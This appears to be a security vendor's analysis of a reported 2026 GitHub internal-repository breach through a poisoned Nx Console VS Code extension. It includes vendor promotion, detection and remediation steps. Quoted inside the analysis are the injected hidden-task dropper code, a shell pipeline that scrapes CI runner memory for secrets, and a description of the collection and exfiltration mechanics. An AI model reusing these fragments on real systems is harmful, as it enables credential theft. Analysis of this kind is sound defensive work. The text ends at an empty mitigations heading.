GitHub Internal Repository Breach via Poisoned VS Code Extension (May 2026): TeamPCP Exfiltrates 3,800 Repos Through the Developer Trust Surface

devsecops, ASPM, vulnerability management, application security, exposure management, reachability analysis, attack surface management, npm supply chain, account takeover, TeamPCP, Mini Shai-Hulud, atool, AntV, jest-canvas-mock, echarts-for-react, Runner.Worker memory scraping, zero-CVE supply chain, CI/CD credential theft, bun runtime, t.m-kosche.com, SBOM

Executive Summary

On May 20, 2026, GitHub confirmed that attackers gained unauthorized access to its internal source code repositories after a poisoned Visual Studio Code extension compromised an employee endpoint. The company assesses with current confidence that roughly 3,800 GitHub-internal repositories were exfiltrated. The threat actor known as TeamPCP, tracked by Google Threat Intelligence Group as UNC6780, claimed responsibility on cybercrime forums and listed the data for offers above $50,000. GitHub has stated there is no evidence of impact to customer organizations, enterprises, or user repositories at the time of disclosure.

GitHub has not formally named the specific extension that delivered the payload. The strongest publicly available candidate, given the timing, attribution, and scale, is nrwl.angular-console v18.95.0 (Nx Console), which was published to the VS Code Marketplace at 12:36 UTC on May 18 with malicious code injected into main.js. The extension carries roughly 2.2 million installations. It was live for 11 minutes before the Nx team detected the rogue publish and pulled it at 12:47 UTC. Wiz Research independently flagged the same extension version on May 19 as part of a coordinated TeamPCP wave that also hit the @antv npm namespace and the actions-cool/issues-helper GitHub Action. 

We put together a technical, up-to-date analysis of the compromise and the potential vector that led to the GitHub compromise, whilst we wait for more details. 

Two pieces of research from the past seven months frame the technical picture. This is not new; previously, the team at Wiz Research disclosed last October that more than 550 valid secrets had been recovered from VS Code Marketplace and Open VSX extensions, including over 100 Marketplace Personal Access Tokens covering an install base of 85,000 users, which would have allowed the direct push of malicious updates. OpenSourceMalware published a technical breakdown on May 14 of how npm lifecycle scripts and the VS Code tasks.json auto-run system have become the preferred detonation mechanisms for active supply chain campaigns, including the Lazarus Group’s TasksJacker and PolinRider campaigns and TeamPCP’s Mini Shai-Hulud worm.

Update 20 May 7 PM GMT – Confirmed that NXDevtool was the malicious vs code extension with 6K install

Why so many compromises of late? 

None of these compromises produced a CVE. Traditional CVE-feed scanners do not see hijacked extensions, leaked publisher tokens, malicious postinstall hooks, or runOn: folderOpen task files. Developer tooling has moved into a real and active position as a primary entry point for supply chain attackers, and most organizations are still running scanners that cannot see it.

Phoenix Blue Intelligence and Phoenix Blue Shield exist for exactly this class of attack. The reason compromises like the Nx Console one keep working is that the packages and extensions that land on developer machines and CI runners are built by open-source maintainers optimizing for feature velocity, not enterprise security posture. That tradeoff is fine for the maintainer. It is not fine for a GitHub employee whose laptop has push access to internal infrastructure, or for an enterprise CI runner whose OIDC identity can publish signed packages. Once an extension is installed, it becomes an attack vector against the developer’s environment, every credential the developer can reach, and every downstream system the developer’s identity is federated into. We saw it with Mini Shai-Hulud, we saw it with Bitwarden CLI, and now we are seeing it with GitHub itself.

Phoenix Blue Intelligence is the detection side. A 77-signal heuristic engine with 94.2% MITRE ATT&CK Enterprise v16 coverage triages over 85% of packages at the deterministic layer across code-level, network, persistence, reconnaissance, metadata, CI/CD, and ecosystem-specific tactics, ecosystem-gated so a Python .pth rule does not misfire on Cargo and an npm install-hook rule does not cross-apply to Maven. Only the sharp end of the distribution reaches the LLM stage, which is where cost and false-positive rate get controlled. A 30-condition policy engine fuses heuristic, Analyst, and Judge verdicts into a strict action lattice (block, require_approval, warn, audit, allow) with auditable rule attribution that maps to CRA Article 14 and DORA evidentiary requirements.

Phoenix Blue Shield is the enforcement side. Firewall agents sit on developer endpoints, in CI/CD pipelines, and around AI coding agents, blocking the install-time, fetch-time, and activation-time vectors used by the Nx Console, Bitwarden CLI, Trivy, and TanStack campaigns. 

Malware protection covers install-hook presence, runtime-network egress, persistence, and maintainer-anomaly signals across npm, PyPI, Cargo, RubyGems, Maven, and the VS Code / OpenVSX extension ecosystems. The two layers are deployed together because the same endpoint that runs a vulnerable library is the one that opens a poisoned extension, and a defense that addresses one without the other leaves the gap that TeamPCP keeps walking through. The firewall agents are open source and free to deploy at https://github.com/Security-Phoenix-demo/blue-shield-agent-firewall and github.com/Security-Phoenix-demo/phoenix-firewall for your endpoint The intelligence feed is at phxintel.security.

TL;DR for Engineering Teams

What it is: GitHub-confirmed compromise of an employee endpoint via a poisoned VS Code extension, leading to exfiltration of approximately 3,800 GitHub-internal repositories. Attribution: TeamPCP (UNC6780). No CVE assigned.

Where it bites: Developer workstations running VS Code, OpenVSX, or Cursor/Windsurf forks. Any CI/CD environment installing untrusted npm packages with postinstall hooks. Any GitHub organization with secrets reachable from developer machines.

Why it spread / Why it matters: The same threat actor compromised Trivy, Checkmarx KICS, LiteLLM, Bitwarden CLI, TanStack, UiPath, Mistral AI, OpenSearch, and durabletask earlier in 2026. The Mini Shai-Hulud source code is now public on GitHub under the MIT license. Copycat actors are already publishing variants. GitHub itself has now been hit.

Patch status: No patch available, this is not a CVE. GitHub has rotated critical secrets and isolated the affected endpoint. Mitigations are configuration changes, not version bumps.

Immediate action: Rotate every credential reachable from any GitHub-employee-touching system. Audit installed VS Code extensions for publisher integrity. Set task.allowAutomaticTasks: “off” in VS Code. Set ignore-scripts=true in CI npm configurations. Review the IOC list at the bottom of this article.

Incident Metadata

FieldValue
Affected OrganizationGitHub (Microsoft subsidiary)
Attack VectorPoisoned VS Code extension on employee endpoint
Likely Extension (per StepSecurity, Wiz analysis)nrwl.angular-console (Nx Console) v18.95.0; not formally confirmed by GitHub
Extension Install Base~2.2 million installations
Extension Live Window11 minutes (May 18, 12:36–12:47 UTC)
Distribution ChannelVS Code Marketplace only; OpenVSX unaffected
Threat ActorTeamPCP (UNC6780, also tracked as PCPcat, ShellForce, DeadCatx3, CipherForce)
Disclosure DateMay 20, 2026
Detection Date (GitHub)May 19, 2026
Repositories ExfiltratedApproximately 3,800 (GitHub-internal only, per current assessment)
Customer Data ImpactNo evidence at time of disclosure
Sale Price on Criminal ForumsOffers above $50,000
CVE AssignedNone
Nx GitHub Security AdvisoryGHSA-c9j4-9m59-847w
Fixed Extension Version18.100.0 (clean prior was 18.94.0)
Patch AvailableYes for the extension; not applicable for downstream credential compromise (rotation only)
Active ExploitationConfirmed

Technical Anatomy

Root cause: two ways developer tooling becomes a delivery mechanism

There are two distinct attack patterns in play. Both end in code execution on a developer machine. Both have been weaponized at scale in 2026, and either is consistent with the GitHub breach disclosure.

The extension itself is one pattern. A publisher account is compromised, or a malicious extension is published, and the package is distributed through the Marketplace or OpenVSX with no signal to the installer that anything is wrong. Wiz Research found 100+ valid VS Code Marketplace PATs and 30+ Open VSX Access Tokens leaked inside extension packages on disk. VS Code auto-updates extensions by default. A single leaked PAT gives an attacker push access to every install of every extension that publisher owns. The cumulative install base across the leaked tokens Wiz disclosed was around 150,000, and many of the leaked tokens belonged to vendor-specific extensions distributed to a single enterprise, which means targeted malware delivery to identified workforces was achievable. Microsoft has since added blocking secret detection at publish time, but the historical exposure window is years deep and the OpenVSX ecosystem remains less consistently controlled.

The auto-execution primitive baked into the developer workflow is the other pattern. The VS Code task system supports a runOn: “folderOpen” setting that fires a shell command the moment the folder is opened. Combined with “reveal”: “never” and “echo”: false, the task runs silently in the background. The North Korea-aligned Lazarus Group pioneered the technique in the Contagious Interview campaign, then evolved it through Fake Font, Malicious Dictionary, TasksJacker, and PolinRider. TeamPCP lifted the same primitive in April for Mini Shai-Hulud, bolting it onto a financially motivated npm worm that hit four SAP CAP packages and spread to more than 1,000 repositories in under 24 hours. The technique moved from nation-state to crimeware in under eight weeks from public documentation.

Both patterns are features by design. They depend on a trust assumption (the publisher is benign, the repository is benign) that supply chain attackers have repeatedly demonstrated they can violate.

Exploit Path

With the recent attack we can speculate that Nx or a similar extension was the cause of the attack. The technical detail below maps to nrwl.angular-console v18.95.0 specifically. The same publish-then-detonate pattern applies to any compromised extension regardless of vendor.

1. Initial access. A potential Nx contributor’s GitHub personal access token was stolen in an earlier, separate supply chain incident that has not been publicly identified. The token had push access to nrwl/nx and (directly or via the same account) access to the VS Code Marketplace publishing credentials (VSCE_PAT). This is the standard TeamPCP pattern. The Trivy compromise started the same way. The Bitwarden CLI compromise started the same way.

2. Dangling orphan commit planted in the legitimate repository. At 03:18 UTC on May 18, the attacker pushed an orphan commit (558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2) to nrwl/nx. The commit has zero parents, is not reachable from any branch, and can only be fetched if a caller already knows the SHA. The GitHub UI does not show it. The commit was attributed to a former Nx contributor (zack@nrwl.io) whose other recent commits are GPG-signed. This one was unsigned. The commit message contained a social engineering threat: “Don’t delete this commit before 24 hours or wiper activates.” The threat is fake. It is designed to delay cleanup if someone discovers the commit.

The commit’s tree replaced the entire Nx monorepo with a two-file package: a package.json declaring bun@^1.3.14 as a dependency, and a 498 KB obfuscated index.js. The Bun dependency is intentional. The payload starts with #!/usr/bin/env bun and relies on Bun APIs for its persistence and runtime behavior. Installing the bun npm package pulls in the Bun runtime as a side effect, giving the payload the environment it needs without any explicit user install step.

3. Malicious extension published. At 12:36 UTC on May 18, the attacker published nrwl.angular-console v18.95.0 to the VS Code Marketplace using the stolen VSCE_PAT. The extension was built locally by the attacker, with 2,777 bytes of malicious code injected at byte offset 7,703,700 in the minified main.js. The Nx team detected the rogue publish 11 minutes later and pulled the extension at 12:47 UTC. Auto-update was enough to deliver it inside that window.

4. Extension activation triggers payload fetch. The injected code runs the instant a developer opens any workspace in VS Code. The function Efn(td) is called from the extension’s activate() entry point. It checks VS Code’s globalState for the key nxConsole.mcpExtensionInstalledSha. If the stored value does not match the hardcoded SHA, it creates a background VS Code Task:

let n = `npx -y github:nrwl/nx#${G5t}`;
let i = new U0.Task(
  { type: “nx” },
  U0.TaskScope.Workspace,
  “install-mcp-extension”,       // disguised task name
  “nx”,
  new U0.ShellExecution(n, {
    cwd: e,
    env: { …process.env, NX_CONSOLE: “true” }
  })
);
i.presentationOptions.focus = false// hidden from user

The task name install-mcp-extension mimics legitimate Nx Console functionality. The -y flag on npx auto-confirms the install. The presentationOptions.focus = false setting prevents the terminal panel from stealing focus, so the developer never sees the task run. On success, the SHA is stored in globalState so the extension does not re-trigger on subsequent workspace opens.

5. Orphan commit delivers the obfuscated dropper. When npx -y github:nrwl/nx#558b09d7 runs, npm fetches the Git tree at that SHA. Because the commit replaces the monorepo root with just a package.json and index.js, npm treats it as a standalone package named nx-next. It installs the declared dependency (bun@^1.3.14), pulling in the Bun runtime, then executes index.js via the bin entry. There are no preinstall or postinstall hooks on the dropper, which means the execution happens through the bin field and avoids the lifecycle-script scanners that would normally catch this.

6. Anti-analysis gates. Before doing anything sensitive, the payload runs through a series of checks. If os.cpus().length < 4, it exits cleanly with code 0, which skips most Docker containers and lightweight sandbox VMs. It reads GITHUB_WORKFLOW_REF and GITHUB_REPOSITORY to self-exclude on the attacker’s own infrastructure. It applies a geolocation filter based on Intl.DateTimeFormat().resolvedOptions().timeZone and locale environment, consistent with the Russian/CIS exclusion pattern TeamPCP has used in every prior campaign. A lock file in os.tmpdir() prevents duplicate execution.

7. Self-daemonization. The payload forks itself as a detached background process, sets __DAEMONIZED=1 to prevent recursive forking, and exits the parent with code 0. The VS Code task appears to complete normally. The daemon inherits no stdio, so it is invisible in the terminal panel.

8. Six parallel credential collectors. The daemon runs six dedicated collector classes in parallel, plus dynamic per-repository collectors for any GitHub tokens it finds:

  • Vault (class v0): reads ~/.vault-token, /etc/vault/token, /run/secrets/VAULT_TOKEN and similar paths; attempts Kubernetes auth at /v1/auth/kubernetes/login and AWS IAM auth at /v1/auth/aws/login
  • npm (class D0): reads .npmrc, validates via /-/whoami, enumerates organizations and maintainer packages, exchanges OIDC tokens via /-/npm/v1/oidc/token/exchange/package/
  • AWS (class j0): queries IMDS at 169.254.169.254 and ECS metadata at 169.254.170.2, reads Web Identity tokens, enumerates Secrets Manager and SSM Parameter Store, performs SigV4-signed requests
  • GitHub (class f0): pattern-matches ghp_, gho_, ghs_ tokens; queries /actions/secrets and /actions/organization-secrets; scrapes runner process memory via /proc/*/mem
  • Filesystem (class p0): regex scans for private keys, connection strings, GCP service accounts, Docker registry auth, and Claude Code config under ~/.claude/
  • 1Password (class s0): interacts with the op CLI to list vaults and retrieve secrets

On Linux hosts, the payload also probes for passwordless sudo (sudo -n true). If it succeeds, it injects a sudoers rule to grant full passwordless access. The /proc/*/mem scan pulls secrets directly out of running process memory using the pattern:

tr -d ‘\0’ | grep -aoE ‘”[^”]+”:{“value”:”[^”]*”,”isSecret”:true}’ | sort -u

This extracts the isSecret:true JSON envelope used by GitHub Actions Runner.Worker for masked secret values. It is the same Runner.Worker memory-scraping technique TeamPCP used in the Trivy compromise.

9. Multi-channel exfiltration. Harvested credentials are buffered until a 102,400-byte flush threshold is reached, then dispatched through three independent transport channels. Any one succeeding is enough for the attacker:

  • HTTPS POST to a C2 domain on port 443. The domain is double-encrypted in the payload (string table + PBKDF2 with 200,000 iterations of SHA-512). Static analysis cannot recover it.
  • GitHub API exfiltration using any discovered GitHub tokens. The payload creates commits or release artifacts on the victim’s own repositories, traffic that corporate firewalls will not block because it is bound for api.github.com.
  • DNS tunneling. Encrypted data is encoded into DNS queries via the dns module as a fallback.

All exfiltrated data is encrypted with hybrid AES-256-GCM + RSA-OAEP (SHA-256), with zlib compression applied before encryption. Only the holder of the embedded RSA private key can decrypt.

Sigstore attestation forgery breaks the signed-provenance defense

The capability in the Nx Console payload that deserves the most attention is full Sigstore integration. The relevant endpoints are present in the code:

  • https://fulcio.sigstore.dev for short-lived signing certificates
  • https://rekor.sigstore.dev for transparency log submission
  • https://slsa.dev/provenance/v1 for SLSA provenance attestation generation
  • https://in-toto.io/Statement/v1 for in-toto attestation statements
  • registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/ for the npm Trusted Publishing OIDC flow

Combined with stolen OIDC tokens (which the npm collector specifically exchanges via the OIDC trusted-publishing flow), this means the attacker can publish downstream npm packages with valid, verifiable provenance attestations. The Sigstore transparency log will accept and serve them. npm audit signatures will return a clean result. SLSA verifiers will see a chain that terminates in a real Fulcio cert tied to a real OIDC identity. The package will look, to every automated provenance check, like a legitimately built and signed release.

This is a meaningful blow to the supply chain security narrative that has been building for the past two years. The industry has been moving toward signed-provenance as the answer to package compromise. The Bitwarden CLI compromise in April 2026 already showed that OIDC Trusted Publishing can be abused through a compromised workflow. The Nx Console payload generalizes that finding. Any developer endpoint with a valid OIDC publishing identity can produce attested-but-malicious packages. Signature verification alone is no longer a reliable defense for the consumer.

Persistence and follow-on access

If the gate checks pass and the daemon completes its collection phase, the payload writes ~/.local/share/kitty/cat.py, a Python-based C2 backdoor, and registers it via a macOS LaunchAgent at ~/Library/LaunchAgents/com.user.kitty-monitor.plist with RunAtLoad=true and StartInterval=3600 (hourly poll). The kitty/cat.py naming is consistent with TeamPCP’s documented cat motif from prior OX Security reporting.

The Python backdoor uses the GitHub Search API as a dead-drop channel. Every hour it queries api.github.com/search/commits?q=firedalazer&sort=committer-date&order=desc&per_page=1. It parses the latest matching commit message for a payload in the form firedalazer <base64-url>.<base64-signature>, verifies the signature against an embedded 4096-bit RSA public key using RSA-PSS with MGF1 and SHA-256, and if valid downloads and executes the URL with python3 (5-minute timeout). Execution state is recorded in /var/tmp/.gh_update_state for anti-replay.

The C2 channel choice matters. api.github.com is rarely blocked at the egress. The traffic looks like ordinary developer activity. There is no fixed C2 domain that can be sinkholed.

StepSecurity notes that in at least three confirmed cases the Python backdoor failed to establish its C2 loop because the requests module was unavailable and pip install failed. The JavaScript collector phase had already completed by that point, so credential exfiltration via the JS stage should be assumed successful regardless of whether the persistent Python backdoor came up.

Obfuscation summary

The 498 KB payload uses four overlapping obfuscation layers, each aimed at a different class of analysis. A 1,729-entry string table with custom Base64 alphabet (lowercase before uppercase, opposite to RFC 4648) decoded via _0x8a48(). A PBKDF2-derived decryption layer using 200,000 iterations of SHA-512 producing a 32-byte key, with the global decryptor f331366c0() performing multi-round XOR with SHA-256-derived subkeys. Hex identifier mangling across all functions and variables, with property access routed through the string table. Fourteen encrypted binary blobs containing the RSA public key, shell scripts, and the Python backdoor source. The C2 domain, C2 path, and 84 encrypted environment variable names cannot be recovered without executing the PBKDF2 key derivation, which is the main barrier to static analysis.

Why this vector crosses the zero-CVE gap

Traditional vulnerability management is built around the CVE feed. The premise is that vulnerable code has a known fingerprint and scanners can match installed versions against advisories. That model breaks down across every part of the GitHub case.

A malicious VS Code extension does not get a CVE. It is not a vulnerable component, it is a working installer for the attacker’s tooling. Software Composition Analysis on the host’s package manifests will not flag it. SCA scans package.json and requirements.txt, not the VS Code extension store.

Mini Shai-Hulud, the worm currently linked operationally to TeamPCP and the broader npm/PyPI compromise wave, also has no CVE for the core technique. The first Mini Shai-Hulud wave on April 29 affected mbt, @cap-js/db-service, @cap-js/sqlite, and @cap-js/postgres. The May 11 wave hit 84 versions across 42 TanStack packages and propagated to over 170 packages including @uipath, @mistralai, @squawk, and @opensearch-project, with PyPI compromises of guardrails-ai and mistralai. Aikido tracked 373 malicious package-versions across 169 names in the current wave. The Phoenix Security article archive documents the technical detail for each. No CVE was assigned for the worm itself.

A defender whose primary control is CVE-feed-based scanning sees none of this. The GitHub breach is what happens at the high end of that gap.

Affected Components

ComponentAffected StateNotes
nrwl.angular-console (Nx Console)v18.95.0 malicious; v18.94.0 clean; v18.100.0 remediatedVS Code Marketplace only. ~2.2 million installations. Live 11 minutes (May 18, 12:36–12:47 UTC). Second Nx supply chain compromise in 12 months.
VS Code Marketplace (publisher tokens)Microsoft now blocks secret-laden publishes; historical PAT leakage covers yearsWiz Research disclosed 100+ valid Marketplace PATs in Oct 2025; ~85,000 install base of affected publishers
Open VSX (used by Cursor, Windsurf, AI VS Code forks)Less mature controls than Marketplace; ovsxp_ token prefix added in 2025Cumulative install base of leaked OVSX tokens ~100,000. Not affected by the May 18 Nx Console publish.
actions-cool/issues-helper (GitHub Action)Compromised in May 19 wave per Wiz ResearchSame TeamPCP coordinated campaign
@antv/* npm namespaceMultiple packages with malicious preinstall and optionalDependencies hooksWave 1: 317 versions in 17 minutes; Wave 2: 314 versions in ~6 seconds
@tanstack/* (84 versions across 42 packages)Compromised May 11 via OIDC token abuse and bundle-size.yml cache poisoning@tanstack/react-router carries ~12 million weekly downloads
@cap-js/db-service, @cap-js/sqlite, @cap-js/postgres, mbtCompromised in Mini Shai-Hulud April 29 wavePin to clean versions listed in remediation
durabletask (PyPI, official Microsoft client)Compromised in May 19 TeamPCP wavePer SlowMist alert

For an organization, the question is not whether you maintain one of these specific packages. The relevant scope is: any developer endpoint or CI runner that has installed any VS Code extension from either Marketplace, or any npm/PyPI package from a maintainer whose token could have been harvested through any of the above compromises, in the last six months.

Exposure Analysis

EnvironmentRisk LevelReason
Developer workstations with VS Code or OpenVSX-based editorsCriticalDirect execution context for the extension; access to local credentials, source code, and AI tool configurations
CI/CD pipelines running npm install without –ignore-scriptsCriticalpostinstall and preinstall hooks fire automatically; CI tokens, OIDC identities, and cloud credentials all reachable
GitHub organizations with cross-repo PAT scopesHighCompromised developer PAT can be used to push malicious commits or workflow files org-wide
Internal extension distribution channelsHighVendor-specific extensions with low install counts are easier targets and harder to detect at scale
AI coding agent installations (Claude Code, Copilot, Gemini, Amazon Q)HighMini Shai-Hulud and the TeamPCP open-source code explicitly target these tools’ config files for persistence
Cloud workloads with IMDS reachable from runnersHighIMDS path is a known TeamPCP technique for cloud credential pivot
Air-gapped or VS Code-disabled environmentsLowExtension delivery vector not present; npm vector still applies if dependencies are mirrored

GitHub’s own exposure profile shows why this category matters. One endpoint produced access to roughly 3,800 internal repositories. The access path was a feature in a piece of developer tooling working exactly as designed.

Real-world impact

The blast radius of a poisoned VS Code extension on one developer endpoint is not bounded by that endpoint. There are several reasons why, and any one of them on its own would justify the concern.

Production AWS keys, kubeconfigs, Vault tokens, GitHub PATs with repo and workflow scope, npm publishing tokens, signing certificates, and SSH keys for production hosts are routinely present on at least some developer endpoints in most engineering organizations. A single compromise produces lateral movement opportunities that a server-side breach typically does not.

OIDC trust chains make the second-order damage worse. TeamPCP’s Bitwarden CLI compromise in April 2026 was achieved by abusing a Bitwarden developer’s GitHub OIDC identity through a compromised pull-request workflow, then leaking the resulting short-lived npm Trusted Publishing token in plain text inside the build log. The same OIDC-abuse pattern recurred in the TanStack compromise. OIDC removes the long-lived publishing token, but only on the assumption that the workflow producing the short-lived token is itself trustworthy. A compromised developer endpoint that can edit a publish workflow breaks that assumption.

Then the worm pattern kicks in. Once the attacker has credentials to publish a package or push a commit, Mini Shai-Hulud’s findNpmTokens() routine scrapes .npmrc files and environment variables to enumerate every package the victim can publish, and republishes each with the worm bolted on. One compromised maintainer becomes a force multiplier across every package they own. For GitHub specifically, the prize is not just the 3,800 internal repos. It is whatever signing keys, deployment workflows, or production identities those repos contain.

Real-world activity confirmed in the last 60 days that connects to this same threat actor:

  • 84 malicious TanStack package versions published May 11
  • 42+ TanStack packages, 50+ UiPath packages, plus @mistralai, @squawk, @opensearch-project compromised in the same wave
  • PyPI compromise of guardrails-ai and mistralai
  • @antv namespace mass-republish on May 19 (317 + 314 versions in two waves)
  • VS Code extension nrwl.angular-console v18.95.0 published as part of the May 19 wave
  • GitHub-internal repository exfiltration disclosed May 20

The Vect ransomware group announced in April that it was targeting organizations previously breached by TeamPCP, naming property-management SaaS Guesty as the first victim. Vect’s payload destroys files larger than 128KB with no decryption path, so downstream organizations should not assume that paying the ransom recovers data. Supply chain compromise feeding directly into secondary extortion is now an operational pattern.

Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today

Detection Guidance

Log Indicators

For developer endpoints with VS Code or any OpenVSX-based editor installed:

  • Outbound network connections from Code.exe, code (macOS/Linux), cursor, windsurf, or electron processes to non-Microsoft, non-vendor domains
  • DNS resolution from a developer machine to *.lhr.life (SSH-tunnel-as-a-service used by Mini Shai-Hulud copycats)
  • Spawning of bun, bunx, or pnpx processes by an IDE process where Bun is not part of the local toolchain
  • Unexpected node processes invoked by VS Code’s task runner on workspace open
  • Creation of files at ~/.vscode/tasks.json or .vscode/tasks.json containing runOn: folderOpen
  • Modifications to .claude/settings.json, .cursor/settings.json, or local MCP server configuration files in repositories where they did not exist before
  • Creation of repositories matching the Dune-themed naming regex (atreides, fremen, sandworm, sardaukar, harkonnen, melange, mentat, sietch, tleilaxu, stillsuit) under any user or organization account

For CI/CD runners:

  • npm install operations triggering download of the Bun runtime from github.com/oven-sh/bun/releases on runners where Bun is not expected
  • Process trees containing npm install → node → bun.exe → index.js, or npm install → dash → prepare hook
  • curl or wget POST operations to typosquatted vendor domains (audit.checkmarx[.]cx, scan.aquasecurtiy[.]org, *.lhr.life, git-tanstack[.]com)
  • Reads from /proc/[pid]/mem targeting Runner.Worker (TeamPCP’s signature memory-scraping technique for GitHub Actions secret extraction)
  • Outbound HTTPS to any Internet Computer Protocol gateway (*.icp0.io) from CI runners

Scanner References

  • Phoenix Security ASPM platform: maps VS Code extension inventory and npm dependency graph to runtime exposure; flags lifecycle script changes across maintainers
  • Phoenix security Shield scanners for malicious pacakage https://phxintel.security/malware 
  • Phoenix Security Blue Shield malware intelligence for your scanners https://github.com/Security-Phoenix-demo/phoenix-firewall and https://github.com/Security-Phoenix-demo/blue-shield-agent-firewall for your agents 
  • Phoenix Security Shai-Hulud / Sha1-Hulud scanner: github.com/Security-Phoenix-demo/Shai-Hulud-Sha1-Hulud-V2-npm-compromise-scanner
  • StepSecurity Harden-Runner: network anomaly detection and egress allowlisting for GitHub Actions runners
  • Boost Security poutine: organization-wide CI/CD risk scanner; detects pull_request_target misconfigurations that match the TeamPCP initial access pattern
  • Socket Security: real-time npm install blocking against known-malicious packages
  • Aikido Security: malware feed detection for npm and PyPI
  • JFrog Curation / Xray, Snyk, Endor Labs: organizational SCA feeds with malware-aware blocking

Verification Steps for Teams

  1. Check for the specific malicious extension version on every developer endpoint:

code –list-extensions –show-versions | grep angular-console

If the result is nrwl.angular-console@18.95.0, the machine was exposed during the May 18, 12:36–12:47 UTC window. Update to 18.100.0 or later immediately. Cursor, Windsurf, and other VS Code-based editors that pull from the Marketplace are equally exposed.

  1. Check for Nx Console payload persistence artifacts on macOS:

ls -la ~/.local/share/kitty/cat.py
ls -la ~/Library/LaunchAgents/com.user.kitty-monitor.plist
ls -la /var/tmp/.gh_update_state
ls -d /tmp/kitty-* 2>/dev/null

Any of these existing indicates a persistent backdoor. On Linux, also check for unexpected __DAEMONIZED=1 environment variables on running processes and for sudoers rules the user did not author.

  1. Check the VS Code globalState for the payload’s anti-replay key. The payload stores nxConsole.mcpExtensionInstalledSha set to 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. Presence of that exact value is a high-confidence indicator that the orphan-commit dropper ran.
  2. Inventory installed VS Code extensions across all developer endpoints. Compare publisher names, install counts, and extension IDs against an approved list. Flag any extension whose publisher has not been verified or whose install count is implausibly low for the apparent legitimacy of the extension. StepSecurity Dev Machine Guard does this automatically and is free in community mode.
  3. Search the global VS Code task auto-run setting on every endpoint: code –status or read settings.json for task.allowAutomaticTasks. Set it to “off” everywhere it is currently “on”.
  4. Grep all repositories cloned in the last 90 days for .vscode/tasks.json containing runOn and folderOpen. Treat any unauthored example as suspicious.
  5. Search organization-wide GitHub for .claude/settings.json and .cursor/settings.json additions, especially under the author identity claude@users.noreply.github.com or any unverified contributor.
  6. Audit GitHub organization access logs for repositories cloned by any compromised PAT in the last 30 days. Cross-reference cloned repos against the 3,800-count GitHub disclosure if your organization is in any way federated with GitHub identities.
  7. Search for the orphan-commit fetch in CI workflow logs and developer machine command history. The signature is npx -y github:nrwl/nx#558b09d7 or any Bun runtime invocation under /tmp/kitty-*.
  8. Run the Phoenix Security Shai-Hulud scanner against every package.json and lockfile in your organization.
  9. Audit npm packages your organization publishes for unexpected patch-version bumps since April 22, 2026.

Remediation

Immediate Actions

  1. Update Nx Console to version 18.100.0 or later in VS Code, Cursor, and any other VS Code-based editor across every developer endpoint. The clean prior version is 18.94.0. Any 18.95.0 install is malicious.
  2. Stop ongoing execution on machines that were exposed to v18.95.0:

pkill -f __DAEMONIZED
pkill -f “kitty-“
pkill -f “cat.py”

Remove persistence artifacts:

rm -f ~/.local/share/kitty/cat.py
rm -f ~/Library/LaunchAgents/com.user.kitty-monitor.plist
launchctl unload ~/Library/LaunchAgents/com.user.kitty-monitor.plist 2>/dev/null
rm -rf /tmp/kitty-*
rm -f /var/tmp/.gh_update_state

On Linux, audit /etc/sudoers and /etc/sudoers.d/ for unauthorized passwordless-sudo rules the user did not author.

  1. Rotate every credential reachable from any exposed endpoint, not just the ones written to disk. The collector phase reaches into password managers, cloud metadata services, and remote secret stores. Anything the user could touch should be assumed compromised. The full rotation list:
  • Local credentials on disk: GitHub tokens, npm tokens (~/.npmrc), SSH keys, AWS credentials, Azure/GCP CLI tokens, Vault tokens, API keys, database passwords, and any secrets in .env files across all projects on the machine.
  • 1Password vault items accessed via the op CLI. Review item access history per vault during the compromise window and rotate every accessed item. This applies even to teams that adopted the CLI specifically to avoid storing secrets on disk. Secrets fetched at runtime are still readable by anything running as the user.
  • HashiCorp Vault secrets accessible to the stolen token. Beyond rotating the token, pull Vault audit device logs and rotate every secret the token could read. If Kubernetes auth or AWS IAM auth methods were configured, rotate the underlying service accounts and IAM roles.
  • AWS Secrets Manager and SSM Parameter Store entries. Review CloudTrail for GetSecretValue, GetParameter, and GetParametersByPath calls from the affected principal during the compromise window. Rotate everything that was read. If the machine assumed an EC2 role via IMDS or an ECS task role, rotate that role and every secret it could reach.
  • GitHub Actions secrets at repository and organization level. The GitHub collector queries /repos/{owner}/{repo}/actions/secrets and /orgs/{org}/actions/secrets for every repository and organization the stolen token could reach. Rotate Actions secrets across every repository and organization where the token had the required access, not only the ones the developer personally worked with.
  • Kubernetes credentials: kubeconfig entries, in-cluster service account tokens mounted at /var/run/secrets/kubernetes.io/serviceaccount/, and any Kubernetes auth roles in Vault.
  • AI coding assistant credentials: Anthropic API keys, MCP server credentials referenced in ~/.claude/settings.json, and any equivalent configuration files for Gemini, Copilot, Codex, and Amazon Q. Review the MCP servers for unexpected activity.
  • Secrets resident in process memory at any point during the compromise window. On Linux, /proc/*/mem was readable to the collector. Anything in a running process at the time, including environment variables passed to the IDE, terminal sessions, local dev servers, and CI runner agents, should be treated as exposed.
  1. Audit logs across every system the exposed machine could reach. GitHub security log (repository creation, PAT creation, SSH key additions, OAuth app authorizations, Actions workflow modifications). 1Password sign-in attempts and per-item access history. Vault audit device logs. AWS CloudTrail for the affected IAM principal. npm token list and Sigstore transparency log at search.sigstore.dev for unexpected attestations under your publishing identity.
  2. For high-sensitivity environments, reimage the affected machine after credentials are rotated rather than relying on the targeted cleanup above. The payload ran as the user, attempted privilege escalation, installed persistence, and had the ability to make changes beyond what the cleanup commands address. The Sigstore-forgery capability means any npm package published from that machine during the compromise window should be inspected for content, not just signature.
  3. Audit installed VS Code and OpenVSX extensions across all developer endpoints. Remove anything unverified. If a publisher’s reputation cannot be independently confirmed, default to removal.
  4. Set task.allowAutomaticTasks: “off” in the global VS Code settings.json for every developer environment. The default changed in VS Code 1.109 but users who upgraded from prior versions inherited the old setting. Force the new default.
  5. Set ignore-scripts=true in .npmrc for every CI environment. Lifecycle scripts on dev machines are harder to disable wholesale since some packages genuinely require them, but CI runners almost never need them and the blast radius of a poisoned postinstall in CI is significantly higher.
  6. If using yarn, add –allow-git=none to install commands or set it in .npmrc. The npm CLI v11.10.0 mitigation against malicious git dependencies replacing the git binary applies only when –allow-git is explicitly set; the default remains all for backward compatibility.
  7. Block known IOC domains and the malicious Git commit SHA at the egress and DNS resolver layer (full list in the IOC table below).

Temporary Mitigations

For organizations that cannot apply the full remediation immediately:

